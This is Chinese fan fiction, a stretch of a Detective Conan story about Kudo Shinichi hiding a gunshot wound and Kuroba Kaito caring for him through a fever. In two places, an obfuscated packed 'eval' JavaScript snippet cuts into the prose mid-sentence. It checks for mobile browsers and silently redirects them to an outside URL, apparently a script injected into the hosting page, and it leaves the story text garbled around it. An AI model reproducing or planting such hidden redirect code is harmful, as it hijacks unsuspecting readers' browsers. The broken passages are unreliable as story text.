这位真正的怪盗无论何时都有着心比天高的傲气,最不甘心被班门弄斧,也不会因顾虑陷阱就裹足不前。 要是只有过去记忆的其他人一无所有地出现在工藤新一面前,他一定万分周全地把人保护起来。仅仅因为对方是黑羽快斗,各种方面在他看来都非同寻常的一个人,工藤新一不能自作主张地把他束缚在象牙塔里。 所以,我要支持他应战么? 万一这是个阴谋…… 工藤新一这些年被很多人称作算无遗策,身为天生的棋手,他能在对手落子前便推演出终局。当下波澜起伏的时局和隐藏在和平表象下的暗潮汹涌都被他把握得非常清楚,身边所有人都被他纳入了保护伞下,理性思维主导的大脑告诉他,自己已经竭尽所能,可心脏还是被一团乱麻的不安所牵扯,让侦探始终心绪难平地拧着眉头。 说到底故人重逢这件事恍惚给他一种时光倒流的感觉,有时闭上眼,又能看见自己刚得知黑羽快斗死讯的夜晚。到底哪边才是梦境,哪边是梦境尽头的幻影,只有工藤新一看向倒映真相的镜面时,答案才浮上心头。 工藤家的庭院夜里寂静得只闻蝉鸣,晚风轻拂着树梢油绿的叶片,黑羽快斗归来的时候没有任何遮掩形迹的打算,推开铁栅门的动静不算太小,在小路延伸出很长的影。 房间里的工藤新一只来得及把脱手掉在地上的纱布卷一脚踢去床底,然后为自己下意识做出的幼稚举动迟疑半晌,才慢腾腾地走到阳台前,站在窗帘稍后一点的阴影里,观察黑羽快斗披星戴月的侧影。 此夜的清冷月色如此公平,既映亮了工藤新一落在暗处寂静莫测的蓝色眼睛,也勾勒出黑羽快斗人在低处神秘婉约的侧脸轮廓。 有点卷的发梢掠过眼角,他看见对方状若无意地动了下漆黑的眼睫,若有似无地朝着工藤新一的所在处看了一眼。 眸光鲜活灵动,湛然生辉,机警又敏锐。 工藤新一眼里短暂浮现出一点笑意,不过稍纵即逝。接着他转身靠在墙上,身影被层层厚重的窗帘完全吞没,无人得见的一张脸孔越发苍白到失去血色,过长的睫羽疲倦地覆盖在眼睑上。 很痛。伤口缝过针止了血,被绷带牢牢固定,手臂肌肉还是如神经质般地微微抽搐,这是无视他意志的本能反应。 药物浓重的气味萦绕呼吸,工藤新一漠然地闭着眼睛。 疼痛如荆棘扎根于他的骨血,缠绕着大脑跳动的神经,伴随着每一次呼吸和心跳,贪婪地蚕食着他的体力与精神。 冷汗涔涔地从鬓角淌下侧脸,侦探咬住后牙,一时对冷热感知失调,眼前仿佛雪花屏一般闪烁了许久,又浮现出白日手臂中枪那时候,黏稠的鲜血溅在他半张脸上的画面。 在工藤新一点破青山狙杀案的幕后隐情以后,他和白鸟警官身在不断前行的车中,二人谈话的气氛陡然急转直下。 “看来我说中了你的打算,白鸟警官。” 工藤新一忍痛笑了一声,用力按住手臂的伤处,大概是伤到动脉,血液大股大股地从指缝间涌出,温热黏腻的触感令他一阵恶心。 他腕上价值不菲的手表支离破碎,在激光的红点瞄准了自己太阳穴的那一瞬,工藤新一抬起手腕,利用表盘的反射干扰了光线,作为结果,远处狙击的子弹擦过他阻拦的手臂。 侥幸没有贯穿肢体,否则工藤新一整条手臂都将被撕裂。这一枪杀意十足,稍有差池就能让他命丧当场,仅仅造成不伤筋动骨的皮肉伤已是万幸了。 工藤新一有些意外狙击手埋伏在了自己的移动路线上。原以为藤原政务官才会是首要的袭击目标,没想到另一边的失手只是声东击西,对手居然优先盯上了自己。 但他也不是没有后手,在意识到白鸟警官被偷梁换柱的时候,就已经暗中联络了救援。 伤口痛得工藤新一狠狠抽了口气,但在精神高度兴奋的刺激下,他的大脑仍是运转出远超常人的反应力,趁着旁边人躲闪不及,他伸手朝着对方狠狠抓去,对方下意识地避开脖颈要害,却没想到工藤新一的目标是他脸上的易容,撕拉一下,面具下方暴露出一张平凡无奇的脸孔。 “……是你啊,变色龙。”工藤新一发出一声遗憾的叹息,身体后靠在椅背上,这是一个无法再被外界瞄准的角度,飞溅的血滴从他的侧脸淌到下颌,“我还以为是……” 侦探的笑容扩大,无声地比出一个口型,隐晦道出的名字叫对方骤然变了脸色。 变色龙眼神阴冷地凝视着工藤新一,目光中既有事态超出预想的意外,也有不加掩饰的忌惮,渗出冷血动物般的冷意,恣意蜿蜒于侦探平静苍白的脸孔。 “工藤新一,你真是让我惊喜。”他缓缓开口。 工藤新一这十年来一直紧咬着他们的组织,偏偏他们弄不死也甩不脱。BOSS又不打算惹上他背后的势力,迟迟无法对此人的去留下定决心。 但是变色龙和其他人不一样,他亲身参与了暗杀怪盗的行动,确信工藤新一就是被Kid死后的血腥味吸引而来的鲨鱼,与他上级的那位先生更是有过不计其数的交手,心机谋略都令人畏惧。 而且变色龙很清楚,无论是那位先生还是BOSS,他们都低估了此人的威胁。 没有人能知晓这个人在怪盗死后查出了多少有关组织的情报,但他们也无法承担这个人先于他们得到潘多拉的可能性。 宝雷彗星很快就将经过地球,万一错过这次机会,组织的永生大梦将烟消云散。 现在正是千载难逢的时机,干脆由我杀了工藤新一……变色龙刚将手伸进西装里侧,工藤新一就像看透了他的内心,不以为然道:“如果我是你,就不会在这个场合下手。” 二人的车驶在跨海大桥上,远处警笛的鸣声越来越近。 “如果我死在这里,”他靠在副驾驶的椅背上,毫不畏惧额角抵上的冰凉枪口,平静地闭上眼睛,“你会失去唯一的人质,只能束手就擒。” 然后车辆急停,他们眼前身后都横拦着阻隔的警车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588909|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正的白鸟警官从车里走下,好奇地问:“工藤君,你是怎么发现我被假扮的?” 工藤新一闻言,轻轻一笑:“因为我在搜查一课看到宫本警官偷偷在佐藤警官的抽屉里藏了礼物,高木警官也躲在走廊打电话确认西点店能否及时做好蛋糕。”其实佐藤美和子婚后在户籍上早已改姓,但因工作需要,对外一直沿用旧姓,工藤新一也和警视厅的警官们一同沿用习惯的称呼。 他笑的时候丝毫不在意变色龙越来越难看的脸色和抵在太阳穴上微微发颤的枪口,语调轻松道:“既然今天是佐藤警官的生日,白鸟警官作为一位通情达理的长官,没道理只点佐藤警官紧急外勤,而放高木警官在警视厅待命,我的推理没错吧?” 变色龙怒极反笑。 “别得意得太早啊,侦探先生。”他扯了扯嘴角,“就算这次你阻止了我,也不可能赢过那位先生。尽请期待和绝望吧,他已为你准备好了通往地狱的单程票。” 要是地狱里有那个总在自己梦里阴魂不散的罪魁祸首,倒也不算太坏。 记忆骤然溯流,回神的那刻一时难辨今夕何夕。工藤新一深深地吸了口气,手指紧抓得衣袖的料子皱起。他睁开眼,昏暗的视野中黑羽快斗已经悄无声息地走到离他不远的地方,似乎觉察出什么,松开门把手的修长手指犹疑地迟滞了两秒,看过来的眼神里带着探寻,那张年轻的脸孔完全是他回忆中的样子。 更像是昔年旧梦了。 月光从阳台泼洒进来,照亮屋内的一片区域,让他们恰好都身处暧昧的阴影里。 不解风情的是这个时候工藤新一还在心想,可惜我是个不擅长做梦的侦探。 “你受伤了?”黑羽快斗脱口问,话说出口才懊恼自己说了一句废话。 工藤新一的脸色很苍白,在夏天还穿着长袖的衬衣,黑羽快斗五感敏锐,房间里浓烈的血腥气和药味刺激得他鼻子都有点麻了,这显然不是什么寻常的伤势。 “要帮忙吗?”他问。 “不用……我没事。”工藤新一的声音不知为何慢了半拍,回答却避重就轻,语气有一种自欺欺人的任性。他直起身,错过黑羽快斗走去门外,“别担心,我喝杯水就去睡。你不是也忙了一天?早点休息吧。” “站住。”黑羽快斗道,他犹豫了一会儿,因为在回来的路上一直思考着自己和工藤新一的关系,还有纠结该怎么称呼这个人好……他未来的宿敌,是之前试探性喊的名侦探么?但黑羽快斗本能觉得,这个时候……他该换个称呼。 “你站住,新一。”看向停在门前,站在走廊光暗交界处的人。这才短短几句话的时间,大片血迹就渗透了他的袖子,工藤新一还一副恍若未觉的样子,黑羽快斗有点想不明白这个人为什么把自己逼得这么紧,好像总是不太在乎自己。 他下意识放轻了一点声音,用一种安慰着什么的温柔语气,对一个年长他十来岁的青年说:“你手臂的伤口裂开了,先坐下,我帮你重新包扎。” “黑羽快斗。” 工藤新一在听到他称呼自己的名字时怔了一瞬,身影停顿了片刻过后,他任由自己轻轻靠上门框,像是终于有一点撑不住力气。 他缓慢地说:“你是被人杀死的。” 黑羽快斗闻言脸上没有浮现出任何情绪,只有睫羽动了动:“嗯,所以呢?” “所以我——”工藤新一的声音提到一半,戛然而止。 我刚刚是打算说什么?工藤新一微微紊乱地呼吸着,心想。我要?我想? 他要做什么? 查出真相,将凶手绳之以法。 他想做什么? 让把他从这个世界夺走的人付出代价,让凶手悔不当初…… 眼前浮现出变色龙在纵身跳海逃逸之前满溢嘲讽的阴冷眼神。 “工藤新一,我承认你确实算无遗策、聪明至极。”对方嗤笑一声,声音带着刻薄阴毒,“但善良如你,今天放任亲手杀死我的机会从掌中流逝,真的是打算为那个命丧黄泉的怪盗复仇吗?还是说,你在等待亲手杀死那位先生——乌鸦的机会?” 他想吗?亲自报仇雪恨? 不……不是。这都不是最重要的 工藤新一看向同样看着自己的黑羽快斗,瞳孔深处的光芒不稳地微微摇晃。 他只是想找回他的黑羽快斗。 属于他的黑羽快斗。 6. File 06 常人印象里,女人的手总是比男人更美一些,干净、白皙,骨节秀致,生嫩如无瑕的葱白。这种美好很容易让人萌生出保护欲。 但这样的固有印象在黑羽快斗身上并不适用。 这个人本身就是超规格的,举手投足间浑然天成般的游刃有余,年轻标致的眉眼里藏着灵动的明媚,轻易动静辗转就能打碎众人的成见,给人的印象也如不可思议的艺术一般,显出一种非夺天造化不可得的精妙完美。 他对魔术的热忱给工藤新一留下了极深刻的印象。每当看到对方被白色手套包裹的双手,工藤新一都不止一次地观察并猜想,那到底会是多么灵巧柔软的手指,才能上演如此令人心醉神迷的奇迹。 后来因缘际会倒也看见了,在怪盗易容成各种身份的变装下。不过,那时总有更多的事情牵走他的注意力,他甚至来不及因对方的手被其他侦探看出端倪而感到不快。 那无疑是一双属于男性的手,很美丽,指骨修长,如同竹节一般干净利落,肌肤泛着细腻光泽,指甲修剪得整齐,一眼看去就让人感到赏心悦目。 灵巧程度也出类拔萃,工藤新一觉得黑羽快斗自己大概是习惯了天赋过人,经常意识不到他使用手指的方式和大多人都存在一点差别,谁让他总是能做到常人所不能的事情。 现在这双手动作利索地拆开粘连皮肉的染血绷带,重新上药,再固定包扎伤口,将干净的绷带一圈一圈重新缠上工藤新一的手臂。 伤口有烧灼的痕迹,枪伤,而且不是普通的手枪一类。黑羽快斗敛低视线,手上的力度越加妥帖轻柔。 日本是实行枪支管制的国家,普通人禁止持有枪支。不是普通的刑案。 持枪人犯案以后没有只顾着脱身,而是追杀一名查案的侦探,说明对方身后的牵扯很大,大到需要消灭一切泄密风险,而且他应该也自知没有在案中收拾干净所有首尾。 对手大概率不只是一个人,而是组织。 是哪方势力与工藤新一为敌? 黑羽快斗是一个好奇心旺盛的人,虽然出于礼貌,不会明目张胆地对工藤新一的一切追根究底,但思维实在难以控制,大脑一旦空闲下来,就会不自觉地整理眼前的一切线索。 他能感觉到工藤新一的目光落在自己的双手,大概是对他的手法不太放心,黑羽快斗也不介意,他习惯了被人注视,也习惯了被人欣赏。 毕竟他包扎得很漂亮,绷带也缠得十分整齐,透出一点完美主义的味道。干燥的绷带滑过掌心,这是他刚才下楼去找的。 黑羽快斗觉得有些奇怪。既然这位名侦探先生能够参与很多刑案要案,常备的急救箱里没有放足绷带这类处理外伤的必需品么? 他的困惑总体来说相当细微,是一种无意深究更多的情绪,从心头轻轻扫起,就被放过,眼神下移,瞧见工藤新一指间反射微光的戒指,随意找了个话题打趣道:“名侦探的伤要是被你的恋人知道了,应该会很心疼吧……” 话音未落,工藤新一的手指就颤了一下,黑羽快斗反应敏锐,立刻抬目看去。 却见对方刚好转过了头,从颈项到下颌的线条流畅疏淡,侧脸很冷,眼睫又长,半掩着沉郁的深蓝眸色,漫不经心又堂而皇之地错开他的视线。 对方口吻淡淡地纠正:“我没有恋人,这只是普通的饰品。” 说谎的吧?黑羽快斗觉得好笑,他外出还查到不少旧事,有些秘密藏在搜查二课内部案卷的字里行间,旁人不知内里的奥妙玄机,他却能一眼辨明。 比如在那位被誉为Kid Killer的江户川柯南与Kid屡次交手期间,多次在事发现场神出鬼没的工藤新一。 警官们若是对本尊多了解几分,就不会相信对方在现场能有这样毫无建树的表现——简直像是借用对方的身份来金蝉脱壳的怪盗。 与17岁时行踪成谜的工藤新一同期出现的小学生寄住在他青梅竹马的女孩家里,暗中推动对方的父亲成为彼时国内首屈一指、名利双收的大侦探,他大概对那朝夕相处的女孩一直心存好感,回归之后很快和对方确认了关系。虽然后来二人分手,青梅另觅良人,但工藤新一若非对她念念难忘,又怎会十年来都孤身一人?戒指戴在无名指上,侦探不可能不懂这寓意着什么,否认的说辞大概是为女方的名声考虑吧。 17岁的黑羽快斗最擅长恶作剧,若是假扮成这样的工藤新一,说不定会在对方的眼皮底下做出什么令人横吃飞醋的小事。他自觉不会刻意玩弄女孩子的感情,马脚应该也能留得不至于让人家混淆本尊,踩在适度的线上,充其量应该是想稍微惹人气恼的玩笑。 他这样揣度着,过去的工藤新一或许还会经常吃黑羽快斗的醋,就觉得非常有趣。 尽管彼此身处的光阴总是错位,但他们实质上应该是同龄人,容貌相似,头脑过人,天之骄子,像是生长在不同环境的同一颗种子。 而且他对工藤新一如何变成江户川柯南的内幕也很感兴趣,和凭空出现在未来的黑羽快斗不同,对方保有17岁的记忆,像是活生生从大人变成了小孩子一样。 这样小的名侦探,又是怎么跟伪装成怪盗绅士的黑羽快斗在月下对决。 工藤新一注视黑羽快斗时总是不自觉地凝望过去的倒影,黑羽快斗何尝不是热衷于利用细枝末节的线索勾勒出他们的往昔。 当他留意到工藤新一蜷起手指的时候,黑羽快斗神游的思绪立即被扯回了现实。 他终究不曾拥有那段过去,无论如何也不会沉溺其中。 虽然……有些莫名其妙的在意从心底浮涌上来,让黑羽快斗鬼使神差地又瞧了一眼那枚戒指。 男款戒指无论如何都不会做得太花哨,小小一个圈,锁住了名侦探干净雅致的手指,设计太符合他的审美了,大方典雅,尺寸合适,精妙地贴合皮肉,内侧十有八九还有刻字。 世人都热衷在戒指内侧镌刻爱侣双方的名字,黑羽快斗倒觉得刻上一句情话也不错,字痕温柔而永久地烙印在对方的肌理上,彼此心知肚明是谁送给谁的长情告白,就像出生入死都不会动摇。 因为满脑子都是浪漫遐想,黑羽快斗微弱地恍惚了一瞬,随后工藤新一的手臂就已经从他的掌心抽走。 对方在他的注视下站起身,从衣柜里翻出一件黑衬衣穿上,一颗一颗地系上衣扣,藏起伤口和绷带。 房间的灯开着,工藤新一沐浴在光下,清俊的眉目却在发梢下阴影丛生。 侦探似乎看穿了黑羽快斗藏在平静表情下踊跃不休的杂念,口吻淡漠地说:“别想太多。小伤而已,没什么可在意的。” 他是真的不在乎,毕竟被搜查一课打包塞给医生看的诊断结果也只是不危及生命的外伤,只是失血稍多。 “会留疤了。”黑羽快斗倒是不太认同,他帮工藤新一处理伤口的时候注意到这人身上的旧伤不少,有的是刀伤,还有枪伤,忧心的眼神从工藤新一的手臂上划过,“你应该爱惜自己一点。” “你应该爱惜自己一点。” 19岁的工藤新一难得语气这么重,脸色紧绷,眉头紧皱,眼神忧心忡忡。 “就算这次的机会再重要,Kid,也不值得你冒生命危险……” 许是话题涉及至关重要的机密,工藤家大宅窗外的惊雷吞没了他未尽的话语。冷白色的电闪照亮他隐现焦虑的脸孔,劈开的亮色让他身后显露形迹的空间纵深更长,犹如在风雨中飘摇的一线孤岛,很快就要被如海深沉的黑暗覆没。 “好啦,名侦探,我这不是全身而退了么。” 站在阴影里的人正在拿毛巾擦头发,沾满湿气的卷发梢颇为桀骜,不听话地四处乱翘,水珠从他被雨天寒意浸透的冷白脸颊下滑,一身黑衣和牛仔长裤都在滴水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588910|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>对方略微上扬的语调十分轻松,声音含着笑意,如非脚边的地面湿了一片,透明雨水里掺杂着丝丝缕缕的浑浊血色,一滴一滴地下落流淌,恐怕很难看出这人受了伤。 工藤新一太过恼怒于他满不在乎的态度,给伤口消毒的时候下了重手,Kid痛得浑身一抖,脊背肌肉绷紧,尽管他很快别过头咬牙忍住了哀嚎,但工藤新一早已注意到他眼角的泪花,便知晓这人只是在硬撑。他冷着声音警告怪盗这种程度的伤势稍加疏忽就会留疤,在身体上留下可被辨认的特征,对方也倔着脾气说无所谓,可以手术去除,于是既然对方逞强那他也逞强,后来两个人都约好了似的沉默以对,一个裹伤一个忍痛。 “好了。” 工藤新一放下绷带前拍了这人的手臂一下,力道控制得恰好,让人不防之下“嗷”地叫出声来。他心情不佳,甚至懒得对此说什么嘲讽,站起身提了提袖子,一边收拾东西一边说:“姑且留你一夜,客房在二楼楼梯口,换洗衣服我等会儿给你去拿。” 身后追着怪盗的视线,意义不明地盘旋着,工藤新一全然无视,待他收拾完了准备离开,对方才漫不经心地开了口: “那不行,会露馅。” 工藤新一停住脚步,背对着怪盗的眼神控制不住地发生变化,脸色越来越难看。 “你应该看得出来,我脱身的时候借用了你的身份。”怪盗笑着说,“名侦探,你可是被我利用的无关人士。” 工藤新一必须得是被利用的,与怪盗Kid的行动毫无关系,因此,他不可能在怪盗行动后协助对方,不可能收留怪盗。 怪盗Kid能够装成工藤新一逃脱一时,但他不能让敌人在他行动之后确认工藤新一当真参与其中。他必须去收尾,让人意识到他伪装的破绽,以便确定遇见的“工藤新一”是怪盗假扮,而非本尊。 工藤新一说:“我不在乎。” 侦探的天性就是追逐事件,哪怕过去因此吃过大亏,他也没后悔过,只是反思了自己行动的时候顾虑不够周全。 但是对方说:“我在乎。再见。”随后转身往门外走去。 谁也不知道那短短的一句“我在乎”在19岁的工藤新一心底掀起多么汹涌的波澜,下一刻黑羽快斗的脚步顿住,竭尽全身力气也拦不住狼狈地单膝砸地,撑在地面的双手一个劲地发抖,全身力气伴随着意识都在流失,他在惊愕中抑制不住地愤怒,几乎是强撑着转头去看工藤新一。 在黑羽快斗逐渐被昏黑吞噬的视野中,工藤新一缓缓放下手表。他那个时候太年轻,没有十年后那么有城府,也没有十年后那么看得清自己,只能任自己被一种太冷酷又太激烈的情绪烧灼着,手很稳地弯腰拾起一把剪刀,在怪盗手臂受伤的同一位置狠狠扎了下去,瞬间鲜血涌出,染红衣袖。 没有再看倒在地上的黑羽快斗一眼,他回到卧室,记得自己应该也有一件差不多样式的黑高领上衣,不仔细分辨的话看不出二者的区别。 外出之前他已然知道自己的行为有多冒险,但黑羽快斗自认能做到的事情,没道理他工藤新一就会力所不及。 不想被保护在安全区,坐视他受伤,看他身涉险境。 手臂其实是麻木的,只能感觉到温热的鲜血从指尖流下。他在心里想。 但是看见他受了伤,自己似乎也不对劲起来,身体里有个地方一直叫嚣着疼痛。 所以既然黑羽快斗在乎工藤新一。 那工藤新一就教会他为什么要爱惜自己。 …… 可说到底,黑羽快斗从来不是一个听劝的人,他终究弄丢了自己,弄丢了他的未来。 而工藤新一实则与他是同一类人,永远一意孤行,舍生忘死。 “那个地方原本就有疤痕。”29岁的工藤新一对17岁的黑羽快斗说,语气淡淡,脸上也没带什么情绪,“不用在乎。” 7. File 07 黑羽快斗虽然警觉性强,睡眠质量却向来很高,当晚居然反常地辗转反侧,闭上眼睛都是凌乱的心事。他侧过身体,拧起眉心,唇线抿得笔直,坚持躺了很久,终于“啊啊”着发出一个类似认输的声音,腰一用力就盘腿坐了起来,郁闷地抬手用力揉搓一头乱发。 想到工藤新一的伤,他就睡不下去。 尽管黑羽快斗总觉得他的体魄不太健壮,唇色过淡,肌肉不多,腰太瘦削,还有低血糖和慢性胃炎之类的小毛病。好在长期独立生活的工藤新一不会亏待自己。 那人早上分明还好端端的,没想到自己才一错开眼,回来就看到他受了那么重的伤。黑羽快斗埋怨自己的疏忽。他的调查不急于一时,反而是能劳动那位名侦探赴身现场的案件必不简单,甚至很可能使对方置身险境,他应该优先跟上去看看的,要是能有机会帮到工藤新一就好了。 说是让他别在乎什么的……怎么可能做到啊。 黑羽快斗真的很在意那位名侦探。 尽管他还不清楚自己究竟在意对方什么。 他下楼喝了一杯冷水,贯通食道的冰凉温度冷却了五脏六腑里盘旋的燥火。拱形窗外是一轮居高临下的月亮,将他站在餐厅里的身影拉得极长。蓝眼睛在薄暗的光线中盯着空玻璃杯瞧了半晌,真是疯了,竟然连上面模糊不清的倒影都能让他想到工藤新一。 长得太像也是会让人烦恼的啊…… 想到受伤的人很容易睡不安稳,他上下楼梯的脚步轻得几乎用上看家本领。工藤家的客房比工藤新一的房间距离楼梯更近,然而黑羽快斗多走了几步,静悄悄地停在主人家的屋门前。 他没有入室偷窥的意思,只是想站一会儿平复心情。夜晚实在太安静,空气都在沉睡,唯有一线细微但凝涩的呼吸声飘浮出来。黑羽快斗从思绪中回过神时还以为是自己心乱的错觉,定了定神后立马变了脸色,拧开没有上锁的门把走了进去。 “新一?!” 没有回应,黑羽快斗只听得见工藤新一略带痛苦的呼吸,可能床上近乎意识不清的青年压根听不见他的声音。 说是让他别在意,结果嘴硬逞强的人还是自己遭了大罪,后半夜就发起烧来。 黑羽快斗在心里把那群连帮忙的侦探都保护不好的警官和治疗不力的医生都骂了个狗血淋头,揭开被子一角看见工藤新一的手臂又渗出血迹,顿时为难地皱起眉头。伤口愈合的情况比他预想的糟糕许多,很可能已经发炎,才会导致发烧。拨开工藤新一的潮湿碎发,掌心碰了碰对方高热的额头,他止不住地一阵发愁,这个温度有些危险。 “不舒服可以跟我说一声啊……你都不习惯求助的吗?” 他知道跟伤患抱怨有些过分,却没想到双目紧闭的人甚至嫌烦似的把脸撇开,干燥起皮的唇翕张开了一些,黑羽快斗以为他想跟自己说什么,立刻弯腰附耳靠近。 “不去……医院。”虽然很微弱,侦探还是相当执着和顽强地挤出抗拒的声音。 这句话让17岁的高中生措手不及地愣了一下,无法置信名侦探居然会说出这么孩子气的话语,愕然过后又是无奈,这人好像比他想象的要任性一点啊……就是要能把脾气用在别让人不放心的地方,会更可爱些吧。 黑羽快斗苦恼地抓了抓后发,有点没办法地咕哝说:“知道了知道了,但如果到天亮退不了热就由不得你了。”然后匆忙去拿应急药物。 他回来时工藤新一已经昏昏沉沉地再度沉睡,将半张脸埋在枕头里,脸色和枕头一样雪白,额发湿得成缕散开,受伤的那条胳膊因疼痛而绷紧肌肉,时不时不受控地痉挛一阵。 青年忍耐地握紧拳头,指甲抠进掌心,用劲之大,连手背上的青筋都根根浮起。 该怎么减轻他的痛苦? 止痛药生效需要时间,而且不能与退烧药混吃,会损伤肝脏。 黑羽快斗不忍之下,做了件彻头彻尾的蠢事。 他给工藤新一来了一针速效强力的麻醉,用的是怪盗的作案道具,时间是在给对方喂药喂水以前。 半分钟后,黑羽快斗端着温水和退烧药,一脸尴尬地站在床前,几乎要仰天长叹自己真是聪明一世糊涂一时,居然忘记了尽管麻醉能减轻对方的痛苦,也会影响吞咽能力啊。早知道该让工藤新一先把药吃了再说。 侦探不知道怪盗情急之中使出了能被列入生平黑历史榜首的昏招。他摆脱了搓磨精神的苦痛,气息逐渐变得安稳和缓,乌黑的睫毛在眼睑下方落下扇形的浅灰阴影,因为失血,苍白的脸颊让他看上去相当虚弱。 黑羽快斗情不自禁用视线描摹他清隽的眉目。 其实若不是拥有一双太过清冽锐利的眼睛,工藤新一从外表来看就柔和得一点也不像是侦探。尤其当他闭着双眼,眉头因神经的沉眠和放松而抚平的时候,看起来远远比他清醒时理智地、干脆利落地处理每一件事的模样要柔软和无害许多。 尽管大脑里逐渐充斥跑偏些许的胡思乱想,黑羽快斗还是觉得,工藤新一若能早点恢复元气,变回生龙活虎的侦探就好了。虽然他在工藤新一身边还没待太久,但这个人已经打破了怪盗对于侦探总是愚蠢自大和咄咄逼人的刻薄成见。 黑羽快斗能够感受到工藤新一对推理的热爱和虔诚。 他喜欢那双闪烁着智慧光辉、光泽熠熠的眼睛,也希望他能够得偿所愿。 所以。 事已至此。 救……救人为上。 黑羽快斗的喉咙干咽了一下,努力荡平脑海中的杂念,先将水杯和药放在旁边,把工藤新一扶坐起来,一只手环住对方的侧腰稳固他的身体。 人事不省的青年无力地歪过脑袋,靠在高中生不算宽阔的肩膀上,头顶与他的下颌靠得极近,很湿很热的呼吸落在锁骨那一片有些敏感的皮肤。 年轻人在黑夜里清澈又静谧的蓝眼睛低垂下来,借着单薄的月意一瞬不瞬地窥视那张沉睡的脸庞。 原以为是同性会让他生出些许的抵触心理,不得不为此忍耐一番,但或许是彼此相似的容颜将他心中的界限削弱到了一个远超想象的程度,事实上反而有另一种紧张难耐的情绪从心底冒了出来。 那是从其他维度来说让他陌生又生涩的一种感觉,却似乎有些难以遏制。 你要早点好起来啊,名侦探。 黑羽快斗转过头伸长手臂,含起药片吞了一口水,然后放下水杯的手掌收回来抬高工藤新一的脸。 他侧坐床边的身体稍微倾斜了一点。 手指下滑一些,拇指和食指力度适当地按压对方的颈部辅助吞咽。 过热的呼吸让他耳尖极薄的皮肤随之浮起一抹浅粉的颜色。 好在这时候总算没出什么差错,让黑羽快斗松了口气。他平复了一下略微紊乱的心跳,放松过后心底又有些复杂。名侦探无疑是个很好的人,聪明勇敢,沉稳可靠,相处起来更是会让人喜欢他内敛的温柔。这么好的人却一直孤身一人。你不像福尔摩斯那样天性孤僻,也不是白天黑夜拥有双重身份的怪盗,为什么不让别人靠近你呢? 照理说这问题与自己毫无瓜葛,可黑羽快斗想到今晚若是自己不在或没发现他的异常,工藤新一就要自己孤零零地硬扛过去,顿时心中涌出无数纠结。说不定这样的事以前也发生过,对方却总在事情过后装作若无其事。脑海中如此漫无边际地猜想了许多,黑羽快斗稍微坐开了一点,拿起湿毛巾轻轻揩去工藤新一额头细细密密的湿汗,目光落在对方一无所觉的睡脸,无声地叹了口气。 从夙夜到黎明,然后天逐渐亮了。 晨雾未散,曙光微漏,在麻醉的效力逐渐消退,彻底醒来之前,工藤新一始终未从过去的梦境中脱身,似乎途中隐约睁过一次眼,看见梦中少年极其眼熟的朦胧轮廓,从对方身后弥散开来的柔和光线让他难以分辨旧日今朝。 “Kid。” 工藤新一下意识按照过往的习惯去称呼他,思绪还在混乱之中,皱着眉头思索怎么怪盗又不打招呼闯入他的家中,也不解对方这次怎么格外安分而且一声不吭。 可能时间走过足有两三秒,才听见怪盗轻轻“嗯”了一声。工藤新一精力不济,没有心力思考太多,在这之后再度无声无息地昏睡了过去。 工藤新一真正醒来时已是日落西沉,房间内的一切物品都笼罩在温暖的柔色中,窗外的天空蔓延了大片红霞,日影即将飞去,满目都是金红色的辉光。 他几乎不记得自己前夜发了一场高烧,有些困惑地挣扎坐起,下意识捂住仍在隐痛的手臂,下意识问:“几点了……” “六点哦。你再不醒来,我就要准备出门了。” 回答的声音来自听见他起身响动立刻从隔壁走来的黑羽快斗,工藤新一留意到他换了一身相当修身的便装,朋克风格的黑色短T,搭配牛仔裤,裤脚扎进长靴,一身装束不但低调利落,而且便于活动,压低的鸭舌帽将他过分标致的眉眼几乎都藏匿了起来,对方等下出门要做什么简直昭然若揭。 “我留了蔬菜粥在厨房里热着,你躺了一天应该饿了吧,等下记得去吃哦。”黑羽快斗说完就看了眼腕表,似乎觉得距离计划行动的时间已经所剩不多,摆了摆手就准备离开。 “等下,我也要去。” 工藤新一想到他此行可能存在凶险,不顾黑羽快斗不赞成的眼神起身,却未等站稳就晃了晃身体,不得不扶住床头,头脑眩晕地喘了口气。 “名侦探今天还是请个病假吧,没关系,这回有我在呢。”黑羽快斗站在门边,见他紧咬牙关,不太甘心地瞪着自己,内心也是一阵异样的情绪起伏。不过他也是说一不二的性子,面上不露情绪地轻笑了一下,“别担心,我不会很高调,只是去看看盗用我名号的家伙玩些什么把戏。而且今时不同往日,我也和过去的黑羽快斗不一样,不会简单地命丧黄泉。” 来到这个时代以后,黑羽快斗最困扰的问题并非他已死去。他从继承怪盗身份的那一刻起,就早已对这个结局有所预期,眼下不过是目睹了最坏的预期应验而已。 穿越时空的现象已经超越了他所知的人类科技的范畴,即便黑羽快斗亲身经历,心底仍对此抱有怀疑。眼前的一切是否真实?是不是一场梦境或逻辑严谨的全息游戏?这种涉及时间维度的干预,莫非是四维生命对三维生命的观测试验?自己能否回去,还是会永远留在这里?他的选择是否会导致不同未来的平行空间出现?更多怪力乱神的事情他没想过,魔法啊什么的太天方夜谭,不符合黑羽快斗17年人生形成的世界观。 既然一切已经发生,他接下来要做的事情也很清晰:查明自己的死因,调查背后真正的隐情。倘若能够觅得两代怪盗终生未得的潘多拉,找到组织的破绽,他将竭尽全力,将二者彻底摧毁。 这是从披上一身白衣起,黑羽快斗注定永远背负的使命。 